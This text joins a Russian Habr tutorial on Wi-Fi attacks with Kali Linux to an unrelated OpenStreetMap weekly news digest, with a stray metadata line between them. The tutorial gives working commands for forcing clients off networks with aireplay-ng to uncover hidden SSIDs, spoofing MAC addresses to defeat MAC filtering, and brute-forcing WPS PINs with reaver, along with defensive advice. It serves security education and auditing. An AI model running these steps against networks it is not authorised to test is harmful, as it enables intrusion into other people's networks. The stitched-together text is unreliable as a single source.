Любой беспроводной адаптер может принимать и передавать данные только на одном канале за раз. Однако текущий канал можно менять сколь угодно часто — для получения полной информации о беспроводных передачах вокруг **airodump-ng** (~~после рекламы~~ ниже) переключает канал несколько раз в секунду и ловят всё, что попадается. Это называется *channel hopping* («прыжки по каналам»). Это делают и системные программы — например, `NetworkManager` для GNOME, который показывает список беспроводных сетей в правом верхнем углу.
Если канал не зафиксирован, то некоторые пакеты могут быть потеряны — адаптер переключился на соседний канал, а в это время по предыдущему каналу прошёл новый пакет, но его антенна уже не уловила. Это критично, когда вы пытаетесь перехватить handshake, поэтому для отключения всех программ, которые используют беспроводной адаптер и не дают зафиксировать канал, используется эта команда:
```
airmon-ng check kill
```
Без **kill** будет выведен список всех подозрительных процессов, а с **kill** они будут завершены. После этого адаптер останется целиком в вашем распоряжении. Команду выше рекомендуется выполнять перед любыми действиями, кроме простого обзора сети, так как беспроводной адаптер — общий ресурс; несколько программ могут использовать его одновременно (например, можно ловить список сетей в **airodump-ng** и одновременно подбирать WPS в **reaver**), но любая из них может переключить канал, поэтому важно зафиксировать его и при её запуске (обычно параметр называется **-c** или **--channel**).
##### Antenna overclock
Кроме манипуляций с регионом **ifconfig** может попытаться заставить адаптер работать на большей мощности, чем он это делает по умолчанию. Результат сильно зависит от типа адаптера и региона, при долгом использовании может испортить устройство ~~и вообще поджарить вам нос~~ , так что используйте на свой страх и риск. В случае успеха антенна сможет улавливать более слабые сигналы.
```
ifconfig wlan0 down
# Обход региональных ограничений на максимальную мощность передатчика.
iw reg set BO
iwconfig wlan0 txpower 500mW
# Либо:
iwconfig wlan0 txpower 30
ifconfig wlan0 up
```
Обычная мощность — 15-20 дБм. При ошибке будет сообщение типа `Invalid argument`, однако его может и не быть — после выполнения проверьте значение *txpower* в **iwconfig**.
##### Они среди нас
Выполняем:
```
airodump-ng mon0
```
**airodump-ng** — команда для сбора пакетов в радиоэфире. Она выводит в консоль две таблицы. В верхней выводятся найденные беспроводные сети, в нижней — клиенты, подключенные к ним, или не подключенные, но с активным беспроводным адаптером, транслирующем какие-то пакеты (например, о поиске сети с определённым именем).
Последнее, кстати, особенно интересно, так как мы можем любезно предоставить им искомую сеть и посмотреть, что нынче модно в «Одноклассниках»? На эту тему на днях комрадом [KarasikovSergey](https://habrahabr.ru/users/karasikovsergey/) была опубликована [статья](http://habrahabr.ru/post/225059/) с использованием **Karma** — но так как это уже на гране вредительского проникновения в этом цикле мы эту тему затрагивать не будем. Но это действительно проблема и стоит позаботиться о том, чтобы ваше устройство не цеплялось за все сети без вашего разрешения, в том числе за известные — аутентичность точек доступа не проверяется и вы вполне можете оказаться в сети злоумышленника. Во всех смыслах.
**А вот мы в XP SP2...**Интересно вспомнить Windows XP SP2, который вместо отключения сетевого адаптера при неактивном подключении к сети начинал запрашивать ESSID, состоящие из случайного набора символов — возможно для того, чтобы сэкономить на засыпании и последующем разогреве адаптера. Как результат, если вы создаёте рядом точку с именно таким именем, которое легко проследить через **airodump-ng** — XP подключается к ней, но смотря на статус подключения пользователь об этом никогда не узнает (так как оно «неактивно») и в итоге будет очень удивлён, обнаружив работающий Skype ~~и утёкшие пароли~~. Прямая связь с космосом!
Однако вернёмся к нашим волнам. Ниже пример вывода **airodump-ng**:
```
CH 1 ][ Elapsed: 6 mins ][ 2014-06-06 12:45
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:18:E7:xx:xx:xx -67 108 0 0 11 54e. WPA2 CCMP PSK infolan22451
F8:1A:67:xx:xx:xx -88 132 0 0 1 54e. WPA2 CCMP PSK TP-LINK
48:5B:39:xx:xx:xx -1 0 0 0 5 -1
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 4C:B1:99:xx:xx:xx -73 0 - 1 0 66 dlink
48:5B:39:xx:xx:xx 1C:7B:21:xx:xx:xx -81 0 - 1 0 21
```
**Столбцы первой таблицы с доступными беспроводными сетями:**
1. **BSSID** — уникальный MAC-адрес беспроводной сети. По аналогии с MAC-адресом сетевых карт, это 6 чисел в шестнадцатеричном формате, разделённых двоеточием, например: `AA:00:BB:12:34:56`. Он передаётся в большинство других команд.
2. **PWR** — уровень сигнала. Это отрицательное число; чем оно ближе к 0 — тем сигнал сильнее. Обычно для комфортной работы это число до -50, для видеосвязи — до -65, для VoIP — до -75. Значения ниже -85 и в особенности ниже -90 можно считать крайне слабым уровнем. Число зависит как от мощности передатчика, так и от коэффициента усиления антенны в вашем адаптере (внешние адаптеры имеют усиление 0-12 dB, внешние 1-2-метровые всенаправленные антенны — до 24 dB)
3. **Beacons** — число переданных этой точкой доступа «маячков» — пакетов, оповещающих находящихся рядом устройств о существовании этой беспроводной сети, уровне сигнала, её имени (BSSID/ESSID) и прочей информации. Используется для подключения. По умолчанию точки доступа обычно настроены на передачу маячков каждые 100 мсек (10 раз в секунду), но интервал можно увеличить до 1/сек. Отсутствие маячка не говорит об отсутствии беспроводной сети — в скрытом (hidden) режиме точка доступа не передаёт маячков, но к ней можно подключиться, если знать точное имя сети. О способе обнаружения таких сетей — ниже.
4. **#Data** — число пакетов с данными, которые пришли от этой точки доступа. Это может быть HTTP-трафик, ARP-запросы, запросы на авторизацию (handshake) и прочее. Если к сети не подключен ни один клиент или если он ничего не передаёт, то это значение не меняется и может быть 0.
5. **#/s** — число пакетов с данными в секунду. **#Data** делённое на время наблюдения за этой сетью.
6. **CH** — номер канала. Как уже было описано выше, весь доступный спектр Wi-Fi разделён на 14 каналов; точка доступа и, соответственно, клиенты, передают данные на определённом канале и этот столбец указывает, к какому каналу привязана эта точка доступа и её клиенты
7. **MB** — скорость передачи (ширина канала) в Мбит/с. Точка в конце обозначает, что точка доступа поддерживает короткую преамбулу (short preamble). Можно увидеть значения 11, 54, 54e. Нас это обычно мало волнует
8. **ENC** — тип беспроводной сети — OPN (открытая), WEP, WPA, WPA2. На основании этого параметра мы выбираем подходящую схему атаки.
9. **CIPHER** — тип шифрования данных после handshake. Может быть TKIP и CCMP (см. обзор в [первой части](http://habrahabr.ru/post/224955/)).
10. **AUTH** — механизм аутентификации для передачи временного ключа. Может быть PSK (обыная авторизация по единому паролю для WPA(2)), MGT (WPA(2) Enterprise с отдельным сервером с ключами RADIUS), OPN (открытая).
11. **ESSID** — имя беспроводной сети. Именно его вы видите в «Диспетчере беспроводных сетей» в Windows и указываете в настройках точки доступа. Так как это пользовательское имя, то оно может не быть уникальным, и для всех внутренних операций используется BSSID (то есть MAC-адрес адаптера в точке доступа), а это — просто отображаемое название.
Иногда в некоторых столбцах можно увидеть числа **-1**, а в последнем столбце — . Это признаки беспроводной сети, которая не транслирует свои данные в открытом виде, а отвечает лишь когда клиент сделал явный запрос на подключение с указанием корректного ESSID и пароля. Кроме этого, точка доступа может вообще не транслировать маячки и станет активна только, когда к ней подключится клиент, знающий её имя. Если оставить **airodump-ng** запущенным достаточно долгое время и если в этом промежутке к скрытой сети подключится новый клиент, то строка, соответствующую «скрытой» сети, будет автоматически раскрыта и там появится номер канала, ESSID и данные о защите. При этом может быть нужно зафиксировать канал, чтобы не упустить момент подключения (см. ниже).
**Столбцы второй таблицы с беспроводными клиентами:**
1. **BSSID** — MAC-адрес точки доступа, к которой подключен клиент (см. первую таблицу). Если указано **(not associated)** — клиент отключен от всех сетей, но адаптер работает (возможно, он ищет доступные сети).
2. **STATION** — MAC-адрес клиента. Когда-то эти адреса были вшиты в адаптер на фабрике и не могли быть изменены, но сегодня может быть настроен в подавляющем большинстве случаев. В Linux/Mac для этого есть штатные средства., в Windows с этим сложнее и поддержка зависит от драйвера. MAC-адрес точно так же, как и в проводных сетях, передаётся буквально в каждом пакете от этого клиента и это основная причина, почему фильтрация по MAC почти бесполезна.
3. **PWR** — уровень сигнала от клиента. Чем ближе к 0, тем клиент ближе/сигнал мощнее (см. первую таблицу).
4. **Rate** — когда **airodump-ng** запущен с фиксацией канала (см. ниже), этот столбец покажет частоту передачи пакетов с данными от точки доступа к клиенту (слева от дефиса) и от клиента обратно (справа).
5. **Lost** — число потерянных пакетов, которые наша система (не клиент) не зарегистрировала. Это легко вычислить, так как в передаваемых пакетах есть счётчик.
6. **Frames** или **Packets** — число пакетов с данными, которые мы уловили от этого клиента (см. **#Data** в первой таблице).
7. **Probe** — список ESSID-имён беспроводных сетей, к которым клиент пытался подключиться. Здесь могут быть перечислены совсем не те сети, которые вы видите вокруг, а те, к которым клиент подключался ранее, или же скрытые сети. На основе этого можно организовать атаку типа **Karma**, как упомянуто ранее.
**Параметры запуска airodump-ng** (можно комбинировать; более детально в следующих частях):
* `airodump-ng -c 3 mon0` — зафиксировать канал №3 — полный приём пакетов без потерь при переключении на другие каналы (из-за перекрывающихся частот в список могут попасть соседние каналы).
* `airodump-ng -w captures.pcap mon0` — записывать все принятые пакеты в файл `captures.pcap` — используется для offline-атаки на перебор пароля WEP/WPA (будет освещено в следующей части).
* `airodump-ng --essid "Имя сети" mon0` — фильтровать принимаемые (записываемые/отображаемые) пакеты по принадлежности к заданному имени сети. Обычно используется для уменьшения размера файла, так как на качество перехвата это никак не влияет.
* `airodump-ng --bssid 01:02:03:AA:AA:FF mon0` — фильтрация по MAC-адресу точки доступа (BSSID). Аналогично **--essid**.
#### Скрытые сети… такие скрытые
Часто в быту можно услышать, что скрытые сети очень сложно обнаружить/подключиться/взломать/унести (нужное подчеркнуть). Однако как уже было показано, «скрытая» сеть — не что иное, как сеть, не передающая маячки о своём существовании 10 раз в секунду, либо передающие их, но с пустым ESSID и другими полями. На этом разница заканчивается.
Как только к такой сети подключается клиент, он передаёт её ESSID и пароль, и если такая сеть существует в радиусе действия — точка доступа отвечает на запрос и проводит все обычные процедуры по авторизации и передаче данных. А если клиент уже был подключен ранее — его можно увидеть в списке активных адаптеров… и отключить.
Каждый подключенный клиент общается с базовой станцией по её BSSID — и это именно то, что мы видим в обеих таблицах **airodump-ng**. Мы можем «отключить» клиента от сети, после чего он должен будет подключиться вновь — и в этот момент **airodump-ng** перехватит рукопожатие со всеми идентификаторами и ключами. Либо мы можем просто оставить ноутбук включенным на пару часов с **airodump-ng** на нужном канале и подождать. Кстати, при успешном «вскрытии» в правом верхнем углу появится сообщение вида `[ Decloak: 00:00:11:11:22:22 ]` с BSSID точки доступа, конспирацию которой мы раскрыли.
Отключение клиентов предусмотрено во всех беспроводных стандартах и делается с помощью **aireplay-ng** (все три уже знакомые нам утилиты — часть проекта [Aircrack-ng](http://www.aircrack-ng.org/), который содержит в своём наборе всевозможные инструменты для работы с тонкими материями):
```
aireplay-ng wlan0 --deauth 5 -a AP_BSSID -c CLIENT_BSSID
```
**Внимание:** эта команда — исключение и принимает идентификатор *реального* беспроводного адаптера, а не **mon0**, созданного с помощью **airmon-ng**.
Если при запуске появилась ошибка о незафиксированном канале и/или **airodump-ng** показывает в правом верхнем углу `[ fixed channel -1 ]` — значит, какая-то программа или сервис заставляет адаптер перескакивать с канала на канал (это может быть тот же **airodump-ng**) и их нужно закрыть с помощью `airmon-ng check kill`, как было описано в начале.
Команда выше имитирует ситуацию, когда точка доступа сообщает клиенту, что старый ключ недействительный (и что его следует обновить, повторив handshake, то есть передав пароль и имя сети заново). На адрес клиента отправляются сообщения якобы от точки доступа о том, что следует отключиться от сети и обновить данные сессии. Так как этот тип пакетов не защищён шифрованием (то есть команда может быть выполнена ещё до аутентификации), то противодействовать ему невозможно по той простой причине, что невозможно установить «личность» того, кто это рассылает — MAC-адреса в пакетах поддельные и установлены в те значения, которые мы передали после **-a** и **-c**. Можно только отслеживать слишком частые отключения и принимать какие-то меры.
После **--deauth** идёт число пакетов деавторизации, которые будут посланы в оба конца. Обычно хватает 3-5, можно указывать и 30 и больше. Для краткости `--deauth` можно заменить на `-0` (ноль).
Итак, допустим во второй таблице **airodump-ng** мы видим следующую строчку:
```
BSSID STATION PWR Rate Lost Frames Probe
4F:B1:A4:05:5C:21 5B:23:15:00:C8:57 -54 0 - 1 0 1266 homenet, XCom
```
Первый столбец — значение для **-a** (MAC базовой станции), второй — для **-c** (MAC клиента). Перезапустим **airodump-ng** и зафиксируем его на канале 5 (это канал нашей атакуемой станции), после чего выполним отключение клиента в соседнем окне терминала:
```
airodump-ng -c5 mon0
aireplay mon0 -0 5 -a 4F:B1:A4:05:5C:21 -c 5B:23:15:00:C8:57
```
Если сигнал достаточно сильный, число пакетов велико и клиент/точка доступа нас услышали — они отключатся друг от друга, затем передадут информацию о сети вновь при подключении и **airodump-ng** покажет их и строчку `[ Decloak ]`.
Как видим, данный трюк со скрытием маячков можно использовать для домашних сетей, к которой кто-то подключается пару раз в день, да и то не всегда — но для корпоративных сетей он точно не подходит, так как раскрывается буквально одной командой и защиты от неё нет. На мой взгляд даже для частных сетей это скорее неудобство, чем польза — вводить-то имя надо вручную, да и не понятно, активна ли вообще базовая станция или нет.
Также, **-c** (клиентский MAC) можно не указывать — тогда от имени точки доступа будут разосланы широковещательные (broadcast) пакеты об отключении всех клиентов. Однако сегодня это редко работает — драйвера игнорируют такие пакеты, так как правомерно считают, что дело нечисто — точка доступа всегда знает, кто к ней подключен, и рассылает направленные пакеты для конкретного клиента.
#### Фильтрация по MAC — ведь это так просто
Очень часто я слышу рекомендации, что первым делом после создания сети нужно ограничить список её клиентов определённым набором MAC-адресов, и тогда-де пароль вообще ни к чему. Однако это ограничение обходится так же легко, как и обнаруживаются скрытые сети.
В самом деле, каждый клиент — подключенный к сети или нет — раскрывает свой MAC-адрес при передаче любого пакета. В таблице **airodump-ng** эти адреса видны в столбце **STATION**. Соответственно, как только мы увидели сеть, куда нам почему-то не попасть (Linux обычно рапортует об `Unspecified failure` на этапе подключения, а Windows долго думает, после чего сообщает о неизвестной ошибке), и тут же в списке видим связанного с этой сетью клиента — мы можем взять его MAC-адрес и поменять свой на него. Последствия могут быть разными ~~и может даже стукнуть~~. Если сделаем это при активном клиенте — в сети появится клон и клиента может «заглючить», так как он будет получать ответы на пакеты, которые он не отправлял. В итоге может отключиться, а может продолжать работать, предупредив о проблеме пользователя — или нет. Но вариант лучше — записать его MAC и подключится, когда он уйдёт.
В Linux изменить MAC своего адаптера можно следующим образом (работает как для проводных сетей, так и для беспроводных):
```
ifconfig wlan0 down
ifconfig wlan0 hw ether 00:11:22:AA:AA:AA
ifconfig wlan0 up
```
Предварительно нужно отключить любые **mon**-интерфейсы. Проверить, заработала ли подмена, можно вызвав `ifconfig wlan0` — в строке **Hwaddr** должен быть указанный выше MAC.
Кроме того, в \*nix есть **macchanger** — с его помощью можно выставить себе случайный MAC. Если поставить его в *init.d*, то неприятель будет совершенно сбит с толку, так как при каждой загрузке наш MAC будет другим (работает для любых проводных и беспроводных адаптеров, как и **ifconfig**).
```
# Случайный MAC:
macchanger -r wlan0
# Определённый MAC:
macchanger -m 11:22:33:AA:BB:CC wlan0
# Показать MAC:
macchanger -s wlan0
```
В Windows нужно провести кое-какие манипуляции с реестром, но по этой теме лучше проконсультироваться с Google. (Читатели в лице [alexeywolf](https://habrahabr.ru/users/alexeywolf/) подсказывают инструмент [TMAC](http://www.technitium.com/tmac/), который делает это в автоматическом режиме.)
#### WhooPS
Мы сделали всё правильно и наша точка доступа использует непробиваемые WPA2-PSK-CCMP с 63-значным паролем из `/dev/urandom`. Достаточно ли этого? Нет, если у нас — роутер с WPS, особенно если он старый.
Диаграмма выше описывает процесс подключения клиента к точке доступа с помощью PIN-кода. PIN — 8 цифр, которые обычно наклеены на самом роутере. Клиенты, поддерживающие WPS, могут подключиться к сети либо по обычному паролю WEP/WPA, либо с помощью PIN, причём введя последний клиент получает пароль сети в чистом виде.
По стандарту, последняя цифра в PIN — это контрольная сумма, то есть её можно вычислить исходя из остальных цифр. Таким образом, если бы мы хотели перебрать все возможные комбинации, то это потребовало бы 107 попыток (в основании — число возможных символов (0-9 — десять), в степени — длина строки) — 10 миллионов, что есть около 116 дней, если мы пробуем один код в секунду. Обычно скорость в несколько раз ниже, поэтому на подбор бы ушло больше года.
Однако в стандарте допущена ошибка. Процесс авторизации проходит в несколько этапов. Если переданный нами PIN — верный, то точка доступа сообщает об успехе. Если первые четыре цифры PIN — верные, а цифры 4-7 — нет, то точка доступа сообщит об этом после передачи нами пакета **M6**. В случае же ошибки в первых четырёх цифрах мы узнаем об этом раньше — после пакета **M4**. Эта проблема была найдена в конце 2011 и описана [здесь](https://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/). По горячим следам авторами исследования был создан **reaver-wps**, опубликованный затем на [Google Code](https://code.google.com/p/reaver-wps/). Там же можно найти документ оригинального описания уязвимости.
Итак, допустим наш PIN — 99741624. Мы пытаемся подключиться, используя PIN 99740000 — получаем отказ в авторизации после передачи пакета **M6** (так как первая половина кода верна). Если же мы подключимся с 00001624 — отказ будет после **M4**.
Как видим, основная проблема в том, что мы можем узнать о правильности одной части кода даже при том, что *во второй содержится ошибка*. Что это даёт? Теперь вместо 10 миллионов комбинаций нам нужно попробовать всего лишь 104 + 103 = 11 000. Это более чем реально сделать не то что за неделю — за 15 часов, а обычно быстрее.
Обратите внимание: цифр для подбора именно 7, а не 8, так как последняя — контрольная сумма и мы её рассчитываем сами, поэтому её подбирать не нужно. В примерах ниже это **#**.
Посмотрим ещё раз. Мы начинаем перебор с 0000000#. Отказ после **M4** (ошибка в первых 4 цифрах). Меняем на 0001000#. Отказ после **M4**. 0002000#. **M4**. Доходим до 9974000#. О! Отказ после **М6**. Первые 4 цифры угаданы.
Дальше — точно так же. Имея половину кода постепенно увеличиваем вторую. 9974001#. Отказ. 9974002#. Отказ. <...> 99741624. Принято.
Вот в этом и суть ~~Wi-Fi Unprotected Setup~~ «Защищённой настройки Wi-Fi».
##### Reaver
А вот теперь мы проверим, насколько добросовестно ваша точка доступа выполняет свои обязанности. Если у вас нет роутера с WPS — ~~всегда можно протестировать соседский~~ вам эта атака не грозит.
Для эксплуатации уязвимости в WPS у *Kali* есть несколько утилит, но на мой взгляд самая наглядная и гибкая — тот самый **reaver**. Синтаксис вызова:
```
reaver -i mon0 -c 5 -b AP_BSSID -va
```
Кроме этого мы можем указать:
* **-m OUR\_MAC** — если вы меняли MAC-адрес своего адаптера (см. выше про MAC-фильтрацию), то укажите этот параметр с новым (не фабричным) MAC.
* **-e ESSID** — при атаке на скрытую сеть **reaver** должен знать её имя, а не только BSSID; если сеть отправляет маячки — ESSID будет автоматически получен из них, но для скрытых сетей вы должны передать его явно.
* **-p PIN** — если вы хотите вручную передать 8-мизначный код WPS, который нужно попробовать применить к этой сети (этот код можно прочитать и изменить в веб-интерфейсе устройства). Если он верный — утилита выведет сам пароль сети.
* **-vv** — для показа принятых/переданных пакетов, в том числе тех самых **M4** и **M6**. Полезно для отслеживания активности при плохом соединении.
**reaver** перебирает 11 000 комбинаций, пока не обнаружит, что точка доступа приняла одну из них. Скорость перебора сильно зависит от силы сигнала/расстояния до базовой станции и может колебаться от 3 до 30 в секунду. Обычно на одну сеть уходит до 10-15 часов.
Прервать **reaver** можно с помощью **Ctrl+C**, при этом он сохранит текущий прогресс для этой сети и при повторном запуске начнёт с прерванного PIN. Если вы работаете в live-режиме (read only), то данные сессии можно переписать с `/etc/reaver/` на постоянный носитель и при следующей загрузке записать их обратно. В этой папке хранятся текстовые файлы с именами вида `AP_MAC.wpc` и списком всех номеров для перебора внутри (первая строка — номер строки с PIN, с которого начать перебор при повторном запуске).
Про WPS ещё два года назад [писали](http://habrahabr.ru/company/xakep/blog/143834/) на [Хабре](http://habrahabr.ru/post/151688/) и не только, так что легко можно найти больше информации.
([mailbrush](https://habrahabr.ru/users/mailbrush/) [посоветовал](http://habrahabr.ru/post/225483/#comment_7668675) также обратить внимание на [bully](https://github.com/bdpurcell/bully), который тоже есть в *Kali* и выполняет аналогичную задачу.)
##### Что делать?
На сегодняшний день единственный вариант — отключить WPS. Если у вас или ваших знакомых сложности с «настройкой» сети (во что с трудом верится) — включайте WPS только в момент подключения нового устройства. Правда, не все роутеры/прошивки вообще дают эту возможность, но будь у меня такой не глядя пошёл бы менять на другой.
Однако же не всё так плохо. Более новые прошивки ограничивают возможность подбора с помощью rate limiting — после нескольких неудачных попыток авторизации WPS автоматически отключается. Некоторые модели увеличивают время отключения ещё больше, если за короткий интервал были сделаны ещё неудачные попытки войти. Тем не менее, полагаться на это можно только после тщательной проверки в вашем конкретном случае — может получиться, что время отключения короткое или оно увеличивается недостаточно — помните, что 11 000 комбинаций это очень мало и даже делая по одной попытке в минуту на весь диапазон уйдёт максимум 8 дней. И при этом PIN меняется отдельно от пароля сети, поэтому последний вы можете обновлять сколь угодно часто, никак не усложняя перебор PIN.
Кстати, в Сети можно найти эксперименты по обходу блокировки во времени с помощью эксплоитов, заставляющих роутер перезагружаться — при этом, естественно, таймаут WPS сбрасывается и можно вновь продолжать подбор. Так что рассчитывать на «защиту от WPS» не стоит.
##### Перечисление сетей
Напоследок несколько слов ~~о вечном~~ об альтернативах **reaver**.
**reaver** будет пытаться атаковать любую сеть, которую вы ему передадите в виде параметра BSSID, но она может не поддерживать WPS — в этом случае программа зависнет над `Waiting for beacon...` и через полминуты сообщит о том, что сеть не обнаружена.
Проверить, какие сети в округе поддерживают WPS, можно несколькими способами.
* Некоторые версии **airodump-ng** имеют отдельный столбец **WPS**, который заполнен для сетей, поддерживающих эту технологию (там даже указана модель роутера)
* **wash -i mon0** выводит удобно отформатированную таблицу всех WPS-enabled сетей, при этом продолжая работать, пока не будет явно закрыт через **Ctrl+C**. Очень полезен и тем, что сообщает, когда сеть поддерживает WPS, но возможность заблокирована (см. про rate limiting выше)
* **iwlist wlan0 scan** выводит множество информации по всем доступным в радиусе сетям, в том числе расширенные данные поддержки WPS с именами устройств
* **wifite** — автоматический сканер сетей и универсальный взломщик; однако на мой взгляд он слишком универсальный, поэтому сложно понять, что он делает и на какой стадии этот процесс находится. А вот вывод сетей у него очень удобный: показано наличие подключенных клиентов и поддержка WPS
Кроме того, есть очень любимый многими **kismet** (и аналог для Macintosh — **KisMAC**), но на мой взгляд он слишком навороченный. В обоих есть интеграция с GPS, что может быть полезно для тех, кто исследует сети на большой территории (wardriving).
На этом с «читерскими» методами проникновения всё. В третьей части — о перехвате рукопожатий клиентов при подключении к сети и подборе паролей к WPA(2) с помощью CPU и GPU.
**Отдельное спасибо** товарищу [chem\_ua](https://habrahabr.ru/users/chem_ua/) за полезные замечания при вычитке статьи.
Диаграммы были нарисованы на [gliffy.com](http://gliffy.com).
Как обычно, комментарии по делу — приветствуются.
**Оглавление:**
**1)** [Матчасть](http://habrahabr.ru/post/224955/)
**2)** Kali. Скрытие SSID. MAC-фильтрация. WPS
**3)** [WPA. OpenCL/CUDA. Статистика подбора](http://habrahabr.ru/post/226431/) | https://habr.com/ru/post/225483/ | null | ru | null |
# Новости из мира OpenStreetMap № 463 (28.05.2019-03.06.2019)
*Multimapas- это сочетание множества исторических, топографических, спутниковых и дорожных карт [1](#wn461_20136) | CC BY 4.0 Национальный географический институт Испании | Leaflet | map data OpenStreetMap contributors*
Картографирование
-----------------
* Последняя версия сервиса “[How Did You Contribute](https://hdyc.neis-one.org/)", разработкой которого занимается Паскаль Нейс, теперь [использует](https://twitter.com/pascal_n/status/1135576546863980545?s=19) [osmose](http://osmose.openstreetmap.fr/en), чтобы показывать информацию о качестве правок пользователей.
* Картографическая команда Facebook'a [объявила](https://www.openstreetmap.org/user/DrishT/diary/368711) о выпуске редактора RapiD (игра слов — быстрый и iD) на основе iD, который позволяет данные, полученные с помощью машинного обучения, вносить в OSM.
* WiGeoGIS — подрядчик компании OMV (занимается АЗС), [объявил](https://wiki.openstreetmap.org/wiki/Organised_Editing/Activities/Updating_assets_of_OMV_group) о том, что планирует обновить и поддерживать в актуальном состоянии в OSM информацию о заправочных станциях следующих брендов: ОМВ, AVANTI, Petrom, FE Traiding и EuroTruck. Смотрите также обсуждение в списке рассылки Talk ([май](https://lists.openstreetmap.org/pipermail/talk/2019-May/082617.html), [июнь](https://lists.openstreetmap.org/pipermail/talk/2019-June/082642.html)).
* Вэлор Нарам [вынес](https://wiki.openstreetmap.org/wiki/Proposed_features/changing_table#Second_voting) на голосование уточненную схему тегирования пеленальных столиков (`changing_table=*`).
* Разработчики навигатора Maps.Me, который использует данные OSM, [представили](https://lists.openstreetmap.org/pipermail/talk-transit/2019-May/002171.html) валидатор [метрополитенов](http://osm-subway.maps.me/) по всему миру.
Сообщество
----------
* Саймон Пул в списке рассылки «Тегирование» [высказал](http://gis.19327.n8.nabble.com/A-modest-proposal-to-increase-the-usefulness-of-the-tagging-list-tt5940967.html) несколько мыслей относительно того, как можно справиться с растущим количеством сообщений и предложений. Ему [ответили](https://lists.openstreetmap.org/pipermail/tagging/2019-June/thread.html#45873) многие.
* Не так давно сообщество OSM в Казахстане создало [чат](https://t.me/osm_kz) в Telegram для общения.
Фонд OpenStreetMap
------------------
* Йост Шуппе в блоге фонда OSM [рассказывает](https://blog.openstreetmap.org/2019/05/28/osmf-board-face-to-face-meeting-2019/), как прошла очередная очная встреча Совета OSMF, которая в этот раз состоялась в Брюсселе. На ней также обсуждалось исследование, которое было проведено ранее.
События
-------
* Сообщество OSM в Аргентине [анонсировало](https://twitter.com/OpenStreetMapAR/status/1134095605918248960) проведение местной картографической конференции «State of the Map», которая пройдет 27 июля в городе Санта-Фе.
Гуманитарный OSM
----------------
* HOT [рассказывает](https://www.hotosm.org/updates/hands-on-assisted-tasks/) в своем блоге об экспериментальной версии «Менеджера задач», который может помочь решить те или иные задачи с помощью алгоритмов машинного обучения.
* Саймон Джонсон [пишет](https://medium.com/hetco-zine/minimum-viable-data-when-less-data-is-more-valuable-d225b5fa9c1b) на Medium о том, что использование “больших данных” в гуманитарных целях часто не соответствует принципу “минимальных жизнеспособных данных”, который состоит в следующем: ценнее меньшее количество данных, потому что их качество значительно выше, к тому же их легче перепроверить.
* В статье "[Better Bombing with Machine Learning](http://osm.gryph.de/2019/06/better-bombing-with-machine-learning/)" («Лучше бомбить с машинным обучением») Фредерик Рамм обращает внимание на то, что компьютерное зрение/машинное обучение могут быть в итоге использованы военными для воздушных бомбардировок, а потому сообщество OSM должно крепко подумать: стоит ли радоваться тем компаниям, которые используют эти технологии для улучшения OSM.
Карты
-----
* В своем [твите](https://twitter.com/richardf/status/1134552669195067392) Ричард Фэрхаст приводит пример использования скрипта Lua для автоматической транслитерации имен при обработке данных OSM для рендеринга. Постобработка таким образом данных OSM нередко делает не нужным использование тегов с name:.
* На сайте Магнитогорской городской думы размещена [карта](http://www.magnitka.org/map) избирательных округов. В качестве подложки использован OSM.
* На сайте государственной российской программы по ремонту дорог «Безопасные и качественные дороги» в качестве подложки используется [OSM](http://bkdrf.ru/agglomerations) (нужно выбрать регион).
Релизы
------
* Выпущена новая стабильная версия JOSM (15155). Добавлены значки категорий и поле для фильтрации параметров фонового изображения. Динамические записи в меню фоновых изображений отображаются в подменю, а также [много других улучшений](https://josm.openstreetmap.de/wiki/Changelog#stable-release-19.05).
* GPS-трекер Online от OsmAnd [обновлен](https://osmand.net/blog/osmand-tracker-0-5-released) до версии 0.5. Появились новые функции: поиск контактов, настройка прокси, GPS и активных маркеров.
* Благодаря новой версии сервиса [Babykarte](https://github.com/babykarte/babykarte.github.io/releases/tag/v.2.0) (v2.0), дети больше не будут теряться. Хотя, скорее, их родителям стало намного легче искать что-то, что подходит для детей и малышей ([карта](https://babykarte.github.io/)).
Знаете ли вы…
-------------
* … о проекте [OpenTrailView](https://www.opentrailview.org/)?
* … что испанский инженер-программист [Хавьер Хименес Шоу](http://javier.jimenezshaw.com/) (Javier Jimenez Shaw), который живет и работает в Берлине, объединил много исторических, топографических, спутниковых и дорожных карт. Мы [уже](http://www.weeklyosm.eu/en/archives/8242/#wn327_13334) рассказывали об этом, но сейчас он перевел страницу [с картой](http://javier.jimenezshaw.com/mapas/) на Leaflet.
* … о карте всех карт [uMap](http://umap.openstreetmap.fr/en/map/showcase_4783#5/47.798/16.172)?
* …что российский мапер Роман Шувалов с помощью OSM сделал не только "[Велосипедную карту Самарской области](http://cycletrailmap.romanshuvalov.com)", но и разработал игру "[Generation Streets](https://store.steampowered.com/app/887970/Generation_Streets/)", которая размещена на Steam.
OSM в СМИ
---------
* В этом [коротком подкасте](https://www.bbc.co.uk/programmes/p06d1xw0) на радио BBC-4 задаются вопросом: чего больше — звезд во Вселенной или песчинок на пляжах Земли? Участник программы, с помощью файла OSM Planet вычислил приблизительное количество пляжного песка на планете Земля.
* На Хабре вышло большое [интервью](https://habr.com/ru/post/454038/) с российским осмером Ильей Зверевым. Он рассказал, чем занимался в OSMF два года, почему американское сообщество самое дружелюбное и зачем нужно участвовать в оффлайн-конференциях.
Другие «гео» события
--------------------
* [Как](https://blog.mapbox.com/doh-making-a-simspons-inspired-map-with-expressions-86e633b61ede) сделать карту, вдохновленную Симпсонами, с [выражениями](https://docs.mapbox.com/help/glossary/expression/).
* Джон Мюррей [использовал](https://twitter.com/MurrayData/status/1131824861058347008) последнию версию Rapids AI — библиотеки для обработки больших данных на графических процессорах — для вычисления расстояний между двумя любыми точками в пределах Великобритании. Вычисления занимали несколько секунд.
* [Отрывок](https://modus.medium.com/what-makes-a-map-good-4db0de3b2cec) из книги Варвары Тверски «Что делает карту хорошей?»
* Компания, которая производит верхнюю одежду, украдкой добавляла фотографии своих моделей в статьи Википедии с целью продвижения бренда в результатах выдачи в Google Image. Мы должны знать, что это еще одна [угроза](https://www.theverge.com/2019/5/29/18644158/north-face-wikipedia-hack-leo-burnett-top-imagens), которой могут быть подвергнуты открытые Вики-системы.
* Daniel J-H [объявил](https://www.openstreetmap.org/user/daniel-j-h/diary/368726) о выпуске новой версии программы RoboSat, которая умеет определять дороги и здания на аэрофотоснимках.
